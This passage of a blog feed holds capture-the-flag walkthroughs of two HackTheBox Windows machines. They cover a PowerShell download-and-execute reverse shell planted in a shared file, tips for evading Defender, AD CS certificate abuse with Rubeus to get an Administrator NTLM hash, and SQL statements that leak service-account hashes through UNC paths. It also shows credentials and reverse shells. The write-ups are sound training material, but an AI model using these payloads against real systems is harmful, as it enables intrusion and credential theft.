Net.WebClient).DownloadString(&#39;<a href="http://10.10.14.5:8000/nishang.ps1&#39;">http://10.10.14.9:8000/nishang.ps1&#39;</a>))&quot;)</pre><p>After saving the Whatif.omv, we can upload it to the share and overwrite the existing Whatif.omv file, start our web server and listener to catch a shell, and wait for a user to open the file.</p><p>And we get a shell … finally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*h3NQq5ahRHi858gcuRzYMg.png" /></figure><p><em>NOTE: If we wanted to avoid IEX, we could use </em><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2"><em>Invoke-WebRequest</em></a><em> or another </em><a href="https://lolbas-project.github.io/"><em>LOLBAS</em></a><em> downloader to put </em><a href="https://github.com/9emin1/charlotte"><em>charlotte.dll</em></a><em> in a world-writable directory like </em><em>c:\windows\tasks followed by an execution similar to </em><em>; rundll32 c:\windows\tasks\charlotte.dll,FNKDJrdQHyV. This might be helpful if we were trying to avoid Defender. Since rundll32 is being launched from code execution within a vulnerable application via javascript allowing RCE, it’s possible it may go undetected as well </em><a href="https://github.com/Mr-Un1k0d3r/EDRs/"><em>depending on the security tooling</em></a><em> in the environment. You could also preface the download and execution with an AMSI bypass if necessary, or implement obfuscation.</em></p><p><strong>SHELL AS DIEGOCRUZ:</strong></p><p>Looking at net user diegocruz /domain we see this user is a member of the webdevelopers group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*Rtr391Aj6km_LN42llNrgw.png" /></figure><p>Earlier, we suspected this box is running a CA due to seeing the MS-ICPR protocol in rpcdump and a CertEnroll folder in the share. Using powershell get-process we see certsrvr running. The command net start also confirms this server has the AD CS server role and is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*1Blan3nschvkX-s2uoWzCg.png" /></figure><p><strong>CERTIFICATE TEMPLATE ABUSE:</strong></p><p><em>If you want to skip running Certify (below) and see a full list of templates with the certificate template structures, use the command</em> cmd /c certutil -v -dstemplate *. <em>(Reference:</em><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/11f578e0-15ff-4d2c-86bb-206c50153d89"><em> [MS-CRTD]</em></a><em>)</em></p><p>We can run <a href="https://github.com/GhostPack/Certify">Certify</a> by SpecterOps to check for vulnerable configurations in the CA. It’s important to note that this box was released before the SpecterOPs new tools came out for assessing vulnerable configurations in CAs and templates, but it’s nice to experiment with new tools. We’ll git clone and compile it with Visual Studio 2019 Community Edition on a Windows VM. Defender will quarantine the binary but you can navigate to Virus and Threat Protection and allow it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qv_ymXyFQ8nOzN7QDRoc3Q.png" /></figure><p>Because we are going to dive into abuse of Microsoft’s PKI implementation, I would suggest reading the <a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">SpectorOps Certified Pre-Owned</a> blog post before proceeding. They do a really great job at explaining how to assess CAs in a way that’s understandable to a lot of people. If you have previous experience with <a href="https://www.youtube.com/watch?v=KhLp5w-AoJg&amp;t=3103s">Benjamin Delpy’s</a> PKI <a href="https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/">abuse techniques</a> with <a href="https://github.com/gentilkiwi/kekeo">Kekeo</a> or Christoph Falta’s <a href="https://github.com/cfalta/PoshADCS">PoshADCS</a> and have used <a href="https://github.com/GhostPack/Rubeus">Rubeus</a> before for Kerberos abuse, you can probably skip it for now.</p><p>Before we use Certify, we’ll need the name of the CA. We can get that information with certutil.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*sh5GaYHyC6aMqjgFgppP_Q.png" /></figure><p>Now we can run some Certify commands. When using /enrolleeSuppliesSubject we see members of the group webdevelopers can enroll a certificate using the Web certificate template, the mspki-enrollment-flag has a value of PUBLISH_TO_DS, and Authorized Signatures Required is set to 0. Also, this certificate is for server authentication.</p><pre>.\Certify.exe find /enrolleeSuppliesSubject /ca:earth\windcorp-ca /domain:windcorp.htb /path:CN=Configuration,DC=windcorp,DC=htb /quiet</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L-CAmDQCwSbCdpLcUN7DnA.png" /></figure><p>Since diegocruz is in a group that has write object control permissions and All Extended Rights on enrollment, we can use PoshADCS to impersonate Administrator by enrolling a smartcard logon certificate for Administrator. Once we enroll that certificate, Rubeus can be used with the /certificate and /credentials flags to obtain the Administrator NT hash.</p><p>According to the README.md of PoshADCS:</p><ul><li>The certificate of the Enterprise CA issuing the smartcard certificate needs to be present under “CN=NtAuthCertificates, CN=Public Key Services, CN=Services, CN=Configuration, DC=domain, dc=com”. This is done automatically during setup of the CA, so it shouldn’t be a problem.</li><li>You obviously need a smartcard. This can be a physical smartcard, however bringing a real smartcard implies the need of physical access, which can be a challenge. Luckily, there’s a solution called “virtual smartcard”. More on that later.</li><li>The domain controller(s) need’s a certificate issued from one of the following templates: Domain Controller, Domain Controller Authentication, Kerberos Authentication. This is probably the only crucial requirement that might not be met. However if there is an enterprise CA and auto enrollment enabled, from my experience it is very likely that the domain controllers already got the certificate automatically.</li></ul><p>Since auto enrollment is enabled, we should be good to go. PoshADCS requires Powerview so we’ll get that loaded in memory before attempting the attack. However, the first attempt with PoshADCS fails. Looking at the source code in the Get-SmartcardCertificate function of PoshADCS.ps1, we can see that it’s using the userprincipalname attribute for the user identity, which is what we’d expect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*WxPJ40_PV7W6gJN1EF_YpQ.png" /></figure><p>If we look at Diego Cruz’s attributes with Powerview, we can see the userprincipalname doesn’t match the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*KK_ZG3SGGNf9WLR_3Ue0xA.png" /></figure><p>We can substitute out the userprincipalname with the samaccountname instead in PoshADCS. NOTE: Powerview is required for PoshADCS so leave it loaded in memory. Also, we’ll use Rubeus to get a KRB-CRED, <a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab">U2U service ticket, and Administrator NT </a>hash after gathering the certificate thumbprint from the Administrator smartcard logon certificate we enrolled.</p><p><strong><em>*Special thanks to Filip Dragovic for showing me the samaccoutname trick in PoshADCS. I’m pretty sure I wouldn’t have thought of that. Also, I wonder if this technique would work on an ADFS service account. We’ll leave that for a future blog post.*</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgRcRm0I3CeCaJh1-mkM8A.png" /></figure><pre>PS C:\windows\tasks&gt; .\Rubeus.exe asktgt /user:Administrator /certificate:07E00D8250465FA9B6C74C22E3F06F18A058AEEE /getcredentials</pre><pre>______        _                      <br>  (_____ \      | |                     <br>   _____) )_   _| |__  _____ _   _  ___ <br>  |  __  /| | | |  _ \| ___ | | | |/___)<br>  | |  \ \| |_| | |_) ) ____| |_| |___ |<br>  |_|   |_|____/|____/|_____)____/(___/</pre><pre>v2.0.0</pre><pre>[*] Action: Ask TGT</pre><pre>[*] Using PKINIT with etype rc4_hmac and subject:  <br>[*] Building AS-REQ (w/ PKINIT preauth) for: &#39;windcorp.htb\Administrator&#39;<br>[+] TGT request successful!<br>[*] base64(ticket.kirbi):</pre><pre>doIF1DCCBdCgAwIBBaEDAgEWooIE5DCCBOBhggTcMIIE2KADAgEFoQ4bDFdJTkRDT1JQLkhUQqIhMB+g<br>...[snip]... MjU0N1qoDhsMV0lORENPUlAuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0Gwx3aW5kY29ycC5odGI=</pre><pre>ServiceName              :  krbtgt/windcorp.htb<br>  ServiceRealm             :  WINDCORP.HTB<br>  UserName                 :  Administrator<br>  UserRealm                :  WINDCORP.HTB<br>  StartTime                :  10/6/2021 7:25:47 AM<br>  EndTime                  :  10/6/2021 5:25:47 PM<br>  RenewTill                :  10/13/2021 7:25:47 AM<br>  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable<br>  KeyType                  :  rc4_hmac<br>  Base64(key)              :  UxmMqNAN+uuZ3H73ChwnaQ==<br>  ASREP (key)              :  D9579AAFB8EFDE942C16032A0DAD0A2A</pre><pre>[*] Getting credentials using U2U</pre><pre>CredentialInfo         :<br>    Version              : 0<br>    EncryptionType       : rc4_hmac<br>    CredentialData       :<br>      CredentialCount    : 1<br>       NTLM              : 3CCC18280610C6CA3156F995B5899E09</pre><p>Now we can use the NTLM hash of Administrator to login and get root.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*foVy_tnQQHDWBeGR551-LA.png" /></figure><p>I found this certificate abuse technique interesting, especially because the template was configured for server authentication. This is counterintuitive (at least to me) that we wouldn’t need to be a machine account. However, we did have Full Control over the template.</p><p>There are several techniques to exploit the excessive certificate template permissions and the path I took to NT Authority\System was unintended. The intended path was to abuse smart card enrollment but to do everything from linux. If you want to see the intended way, watch <a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA">ippsec’s</a> video, read <a href="https://0xdf.gitlab.io/">0xdf’s blog</a>, read the <a href="https://twitter.com/4nqr34z">box creator’s</a> write-up, or read the official HackTheBox write-up available to VIP memberships once the box is retired.</p><p>A great next step would be to explore mitigations and remediation. Depending on the specific environment, this may include changes to firewall flows, permissions configurations, group policy changes, logon scripts, and custom as well as public patches that can be applied.</p><p>Special thanks to <a href="https://twitter.com/filip_dragovic">@filip_dragovic</a> for urging me to complete this box, <a href="https://twitter.com/ippsec">@ippsec</a> for reviewing this article for accuracy, and <a href="https://twitter.com/4nqr34z">@4nqr34z</a> &amp; <a href="https://twitter.com/theart42">@theart42</a> for creating this awesome challenge. Thank you for reading.</p><p><strong>REFERENCES:</strong></p><p><a href="https://www.hackthebox.eu">Hacking Training For The Best</a></p><p><a href="https://techcommunity.microsoft.com/t5/storage-at-microsoft/configure-smb-signing-with-confidence/ba-p/2418102">https://techcommunity.microsoft.com/t5/storage-at-microsoft/configure-smb-signing-with-confidence/ba-p/241810</a>2</p><ul><li><a href="https://msrc.microsoft.com/update-guide/vulnerability/ADV210003">Security Update Guide - Microsoft Security Response Center</a></li><li><a href="https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-and-null-sessions-why-your-pen-test-is-probably-wrong/ba-p/1185365">SMB and Null Sessions: Why Your Pen Test is Probably Wrong</a></li><li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/021b19a6-a8ec-4732-8c76-70933bf53e94">[MS-ICPR]: Overview</a></li><li><a href="https://github.com/cube0x0/CVE-2021-1675">GitHub - cube0x0/CVE-2021-1675: C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527</a></li><li><a href="https://github.com/topotam/PetitPotam">GitHub - topotam/PetitPotam: PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions.</a></li><li><a href="https://github.com/SecureAuthCorp/impacket/issues/451">Review of NTLM reflection attack over network · Issue #451 · SecureAuthCorp/impacket</a></li><li><a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">SSTI (Server Side Template Injection) | HackTricks</a></li><li><a href="https://docs.microsoft.com/en-us/troubleshoot/aspnet/inline-expressions">ASP.NET inline expressions - ASP.NET</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/com/using-com-objects-in-active-server-pages">Using COM Objects in Active Server Pages - Win32 apps</a></li></ul><p><a href="https://staff.cdms.westernsydney.edu.au/~jianhua/SAP_300165/lectures/Lecture___4.html">https://staff.cdms.westernsydney.edu.au/~jianhua/SAP_300165/lectures/Lecture___4.html</a></p><ul><li><a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1">nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 at master · samratashok/nishang</a></li><li><a href="https://www.hackingarticles.in/file-transfer-cheatsheet-windows-and-linux/">File Transfer Cheatsheet: Windows and Linux</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md">PayloadsAllTheThings/Network Pivoting Techniques.md at master · swisskyrepo/PayloadsAllTheThings</a></li><li><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/allow-log-on-locally">Allow log on locally - security policy setting (Windows 10) - Windows security</a></li><li><a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">SMB Share - SCF File Attacks</a></li><li><a href="https://github.com/theart42/cves/blob/master/CVE-2021-28079/CVE-2021-28079.md">cves/CVE-2021-28079.md at master · theart42/cves</a></li><li><a href="https://www.freecodecamp.org/news/node-js-child-processes-everything-you-need-to-know-e69498fe970a/">Node.js Child Processes: Everything you need to know</a></li><li><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2">Invoke-WebRequest (Microsoft.PowerShell.Utility) - PowerShell</a></li><li><a href="https://lolbas-project.github.io/">LOLBAS</a></li><li><a href="https://github.com/9emin1/charlotte">GitHub - 9emin1/charlotte: c++ fully undetected shellcode launcher ;)</a></li><li><a href="https://github.com/Mr-Un1k0d3r/EDRs/">GitHub - Mr-Un1k0d3r/EDRs</a></li><li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/11f578e0-15ff-4d2c-86bb-206c50153d89">[MS-CRTD]: Structure Example</a></li><li><a href="https://github.com/GhostPack/Certify">GitHub - GhostPack/Certify: Active Directory certificate abuse.</a></li><li><a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">Certified Pre-Owned</a></li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FKhLp5w-AoJg%3Fstart%3D3103%26feature%3Doembed%26start%3D3103&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DKhLp5w-AoJg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FKhLp5w-AoJg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4781cdf9fca93509ccc05860602f5d02/href">https://medium.com/media/4781cdf9fca93509ccc05860602f5d02/href</a></iframe><ul><li><a href="https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/">Microsoft ADCS - Abusing PKI in Active Directory Environment - RiskInsight</a></li><li><a href="https://github.com/gentilkiwi/kekeo">GitHub - gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C</a></li><li><a href="https://github.com/cfalta/PoshADCS">GitHub - cfalta/PoshADCS: A proof of concept on attack vectors against Active Directory by abusing Active Directory Certificate Services (ADCS)</a></li><li><a href="https://github.com/GhostPack/Rubeus">GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.</a></li><li><a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab">Shadow Credentials: Abusing Key Trust Account Mapping for Takeover</a></li><li><a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA">IppSec</a></li><li><a href="https://0xdf.gitlab.io/">0xdf hacks stuff</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca69f9d0e931" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackthebox.eu Querier Revisited]]></title>
            <link>https://ericazelic.medium.com/hackthebox-eu-querier-revisited-67c926f33550?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/67c926f33550</guid>
            <category><![CDATA[printspoofer]]></category>
            <category><![CDATA[unc-path-hijack]]></category>
            <category><![CDATA[querier]]></category>
            <category><![CDATA[seimpersonateprivilege]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Thu, 10 Sep 2020 08:44:00 GMT</pubDate>
            <atom:updated>2023-03-18T05:27:16.522Z</atom:updated>
            <content:encoded><![CDATA[<p>About two years have gone by since completing the machine Querier on hackthebox.eu made by mrh4sh and egre55. The reason I liked this box so much back then is because it opened my eyes to the many ways UNC paths can be abused to capture Windows netntlmv2 hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*V2pXYHp7ppsztTLp3cFCzA.png" /><figcaption>By mrh4sh and egre55, available at hackthebox.eu for VIP</figcaption></figure><p>Things change fast in the security world. For this walk-through, I will show some other ways of obtaining the mssql-svc user netntlmv2 hash by using Transact-SQL statements instead of common stored procedures and provide some of the references to where I found this information. Also, since this box is a Windows Server 2019, when it was released the new psuedo-potato variants (for lack of a better name to call them) hadn’t emerged yet. Microsoft had patched Server 2019 against juicy potato attacks. However, several new psuedo-potato variants have emerged including decoder_it’s and splinter_code’s Rogue Potato and itm4n’s PrintSpoofer variant. Since ippsec and 0xdf have already shown Rogue Potato, I will show itm4n’s method for privilege escalation to NT Authority System from a Network Service account. It’s worth mentioning that itm4n also has developed a very nice windows privilege escalation script called PrivescCheck. Try it out if you haven’t already: <a href="https://github.com/itm4n/PrivescCheck">https://github.com/itm4n/PrivescCheck</a>.</p><p>Getting started, nmap shows us the following ports open with nmap -Pn -p- 10.10.10.125 -v :</p><pre>PORT      STATE SERVICE<br>135/tcp   open  msrpc<br>139/tcp   open  netbios-ssn<br>445/tcp   open  microsoft-ds<br>1433/tcp  open  ms-sql-s<br>5985/tcp  open  wsman<br>47001/tcp open  winrm<br>49664/tcp open  unknown<br>49665/tcp open  unknown<br>49666/tcp open  unknown<br>49667/tcp open  unknown<br>49668/tcp open  unknown<br>49669/tcp open  unknown<br>49670/tcp open  unknown<br>49671/tcp open  unknown</pre><p>The three ports that are most interesting to me are 445/SMB, 1433/MSSQL, and 5985/WSMAN.</p><p>A bit of recent history: When this box was released, evil-winrm had not come out yet and people were using alamot’s winrm shell to login remotely when they had credentials: <a href="https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb">https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb</a>. The developers of evil-winrm have added really nice features including ability to bypass AMSI, and easy file upload/download features to name a few. Much thanks to OscarakaElvis et al for the robust features. If you haven’t used evil-winrm yet, go get it here: <a href="https://github.com/Hackplayers/evil-winrm">https://github.com/Hackplayers/evil-winrm</a>.</p><p>For now, let’s focus on 445 and 1433. Let’s run another nmap just on port 1433 to get additional information with nmap -Pn -p 1433 -A 10.10.10.125 :</p><pre>1433/tcp  open  ms-sql-s      Microsoft SQL Server  14.00.1000.00<br>| ms-sql-ntlm-info: <br>|   Target_Name: HTB<br>|   NetBIOS_Domain_Name: HTB<br>|   NetBIOS_Computer_Name: QUERIER<br>|   DNS_Domain_Name: HTB.LOCAL<br>|   DNS_Computer_Name: QUERIER.HTB.LOCAL<br>|   DNS_Tree_Name: HTB.LOCAL<br>|_  Product_Version: 10.0.17763<br>| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>| Issuer: commonName=SSL_Self_Signed_Fallback<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2019-02-16T18:53:29<br>| Not valid after:  2049-02-16T18:53:29<br>| MD5:   348d 9ab3 adf7 325e cbbb 9f82 cfa1 524c<br>|_SHA-1: 0a00 8424 1d58 94c5 250b 0c7e b083 4286 f873 3047<br>|_ssl-date: 2019-02-16T19:36:25+00:00; -8m16s from scanner time.</pre><pre>Microsoft Windows Server 2012 (93%)</pre><pre>Host script results:<br>|_clock-skew: mean: -8m16s, deviation: 0s, median: -8m16s<br>| ms-sql-info: <br>|   10.10.10.125:1433: <br>|     Version: <br>|       name: Microsoft SQL Server <br>|       number: 14.00.1000.00<br>|       Product: Microsoft SQL Server <br>|_    TCP port: 1433<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2019-02-16 14:36:25<br>|_  start_date: N/A</pre><p>Back when I ran this nmap scan, it was enumerating the server as Windows 2012 (93%). This is likely because Server 2019 was so new, thus not able to fingerprint it yet. With the above information, we can update our /etc/hosts file. Attempting to access the shares provides the following info:</p><pre>smbclient -L 10.10.10.125</pre><pre>Sharename       Type      Comment<br> ---------       ----      -------<br> ADMIN$          Disk      Remote Admin<br> C$              Disk      Default share<br> IPC$            IPC       Remote IPC<br> Reports         Disk</pre><pre>smbclient \\\\10.10.10.125\\Reports --no-pass</pre><pre>smb: \&gt; dir<br>  .                                   D        0  Mon Jan 28 18:23:48 2019<br>  ..                                  D        0  Mon Jan 28 18:23:48 2019<br>  Currency Volume Report.xlsm         A    12229  Sun Jan 27 17:21:34 2019</pre><pre>6469119 blocks of size 4096. 1610166 blocks available</pre><p>We are allowed to get the file named “Currency Volume Report.xlsm”. It turns out this file has a macro. Running strings on the file shows there is an embedded file called vbaProject.bin. You can sudo apt install libreoffice to open it in your kali. By default, LibreOffice has a security setting you have to modify to see the macro: tools →options →security →macro security → low (not recommended).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*-nkw_CcaYvsXwWwruR2iNg.png" /></figure><p>After adjusting these settings we can see the code in the macro by going to tools →macros →edit macros →report.xlsm →VBA Project →Document Objects →This Workbook → Connect:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ugrl2JW59ehypoiezFg7tA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*ys6T39K8ycwmd8h0BD4lpA.png" /></figure><p>Now that we have credentials for the database, we can attempt to login.</p><pre>/home/kali/.local/bin/mssqlclient.py QUERIER/reporting:&#39;PcwTWTHRwryjc$c6&#39;@10.10.10.125 -port 1433 -db volume -windows-auth</pre><p>Once we’re in the database we want to run some basic queries to get additional information. Some of the things we’d look for are the version, database permissions for our user, and principals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*s2B6dUQ5fepx9Ch9y-XbzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Wii23KQU1ULJ9GJFbNfGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*5TfR597NVYOoXCOOqS7nXg.png" /></figure><p>We can also use metasploit to enumerate principals for both the server and the database using the mssql_enum_sql_logins module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*9biR2XSuY90k8iSrBr52hg.png" /></figure><p>We know from other Querier write-ups that we can use the xp_dirtree stored procedure to hijack a UNC path and point it to our server, thus intercepting the netntlmv2 hash for the user mssql-svc with Responder or impacket-smbserver.py.</p><pre>EXEC master.sys.xp_dirtree &#39;\\10.10.14.2\file&#39;</pre><p>There is also a metasploit module to check for this with xp_dirtree and xp_fileexist stored procedures called mssql_ntlm_stealer.</p><p>But what if we didn’t have access to that stored procedure? Are there other methods we can use to intercept the hash for mssql-svc in the current database configuration? It turns out there are. We can use other Transact-SQL statements. A nice list of known UNC path hijacks from mssql can be found here: <a href="https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet">https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet</a>. Thank you NetSPI et al for your research contributions in this area.</p><p>From this list I was able to use 2 different statements to intercept the hash of the mssql-svc user. It’s worth noting that several of these statements triggered an auth but from the machine account and not the mssql-svc user account. We’ll start with the BACKUP query.</p><pre>BACKUP DATABASE volume TO DISK = &#39;\\10.10.14.2\file&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P-c1tbz3KUARzdCur-bEXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uBhXeUur60YyLp00EHibbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lc9sP5F7mjhhqonnF2vK8w.png" /></figure><p>This BACKUP statement worked because reporting was the volume database owner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*C1OxrZ6FTXjy7haovccZOg.png" /><figcaption><a href="https://docs.microsoft.com/en-us/sql/t-sql/statements/backup-transact-sql?view=sql-server-ver15">https://docs.microsoft.com/en-us/sql/t-sql/statements/backup-transact-sql?view=sql-server-ver15</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Z0V2ee233Aj4l_0bigR6A.png" /></figure><p>Of note, NetSPI says the following about using BACKUP and RESTORE:</p><pre>Notes: The Public role can&#39;t actually execute the BACKUP, but the UNC path is resolved prior to the authorization check.</pre><pre>Recommendation: Apply MS16-136. No patch available for SQL Server 2008 and prior.</pre><p>So, it’s important to understand the role differences. If the user we had was not the db_owner and had access through a public role, this most likely would not work.</p><p>Moving on, the second statement that worked for me was:</p><pre>CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = &#39;\\10.10.14.2\file&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9QuW1KWc4ELRfivkAl7HdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cWvnW11aQdF2_N1Cbixb0g.png" /></figure><p>If we look at the Microsoft documentation for CREATE CERTIFICATE, we can see why this statement worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*PCrImbwzdjQhdRw8Dov_cQ.png" /><figcaption><a href="https://docs.microsoft.com/en-us/sql/t-sql/statements/create-certificate-transact-sql?view=sql-server-ver15">https://docs.microsoft.com/en-us/sql/t-sql/statements/create-certificate-transact-sql?view=sql-server-ver15</a></figcaption></figure><p>The point of me showing these two additional methods to intercept the hash of mssql-svc user is because if the stored procedures didn’t work, we could use other Transact-SQL statements to intercept the hash. If you’re interested in looking more into mssql statements where path hijacks might exist, see the Microsoft documentation for SQL Server 2019 →Reference →Transact-SQL (T-SQL) →Statements: <a href="https://docs.microsoft.com/en-us/sql/t-sql/statements/statements?view=sql-server-ver15">https://docs.microsoft.com/en-us/sql/t-sql/statements/statements?view=sql-server-ver15</a>. When testing these statements, be sure to understand the different roles and database permissions for your environment.</p><p>Moving on, we can now login with the mssql-svc credentials and enable xp_cmdshell. Then we’ll look at the user’s privileges by running the command whoami /all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JSfqC-KQpq6xfoTgQBlYgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*yKLiY6IURmWAuusDyTkFvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OzAVjBMzTksiIfGzWzlSJQ.png" /></figure><p>We can test from the database if we can write to \users\mssql-svc\Documents and check to see if Defender is running with tasklist. Using powershell wget, we can transfer nc.exe onto the box and get a reverse shell. Then, we can transfer PrintSpoofer.exe onto the box and execute it to gain NT Authority System.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMIypvvVdCK4iTbuR1ZIsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Ifb5T4N7W_vF502_Ps445g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xfH63-EAFacKpla6QQZIoA.png" /></figure><p>You can read more about itm4n’s work here: <a href="https://github.com/itm4n/PrintSpoofer">https://github.com/itm4n/PrintSpoofer</a>. The reason this privilege escalation worked in this scenario is because we were 1) a network service, and 2) had SEImpersonatePrivilege.</p><p>Also, thanks vcsec for helping me understand some key basics about SQL Server.</p><p>References and ShoutOuts:</p><ul><li><a href="https://github.com/itm4n/PrintSpoofer">GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &quot;Printer Bug&quot;</a></li><li><a href="https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet">NetSPI/PowerUpSQL</a></li><li><a href="https://docs.microsoft.com/en-us/sql/t-sql/statements/statements?view=sql-server-ver15">Statements - SQL Server</a></li><li><a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb">rapid7/metasploit-framework</a></li><li><a href="https://github.com/itm4n/PrivescCheck">GitHub - itm4n/PrivescCheck: Privilege Escalation Enumeration Script for Windows</a></li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.twitch.tv%2F%3Fchannel%3D2ocstream%26muted%3Dtrue%26parent%3Dcdn.embedly.com&amp;display_name=Twitch.tv&amp;url=https%3A%2F%2Fwww.twitch.tv%2F2ocstream&amp;image=https%3A%2F%2Fstatic-cdn.jtvnw.net%2Fjtv_user_pictures%2F4c943f6f-2c79-4956-a9e0-36afd32334aa-profile_image-300x300.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=twitch" width="620" height="351" frameborder="0" scrolling="no"><a href="https://medium.com/media/ed4a4fb5f587d1a566754d414507f4b5/href">https://medium.com/media/ed4a4fb5f587d1a566754d414507f4b5/href</a></iframe><ul><li><a href="https://www.youtube.com/channel/UCMACXuWd2w6_IEGog744UaA">Derek Rook</a></li><li><a href="https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb">Alamot/code-snippets</a></li><li><a href="https://github.com/Hackplayers/evil-winrm">GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting</a></li><li><a href="https://blog.ropnop.com/transferring-files-from-kali-to-windows/">Transferring Files from Linux to Windows (post-exploitation)</a></li><li><a href="https://ippsec.rocks/#">IppSec - Search</a></li><li><a href="https://0xdf.gitlab.io/">0xdf hacks stuff</a></li><li><a href="https://blog.netspi.com/10-places-to-stick-your-unc-path/">10 Places to Stick Your UNC Path</a></li><li><a href="https://decoder.cloud/">Decoder&#39;s Blog</a></li><li><a href="https://splintercod3.blogspot.com/">splinter_code blog</a></li><li><a 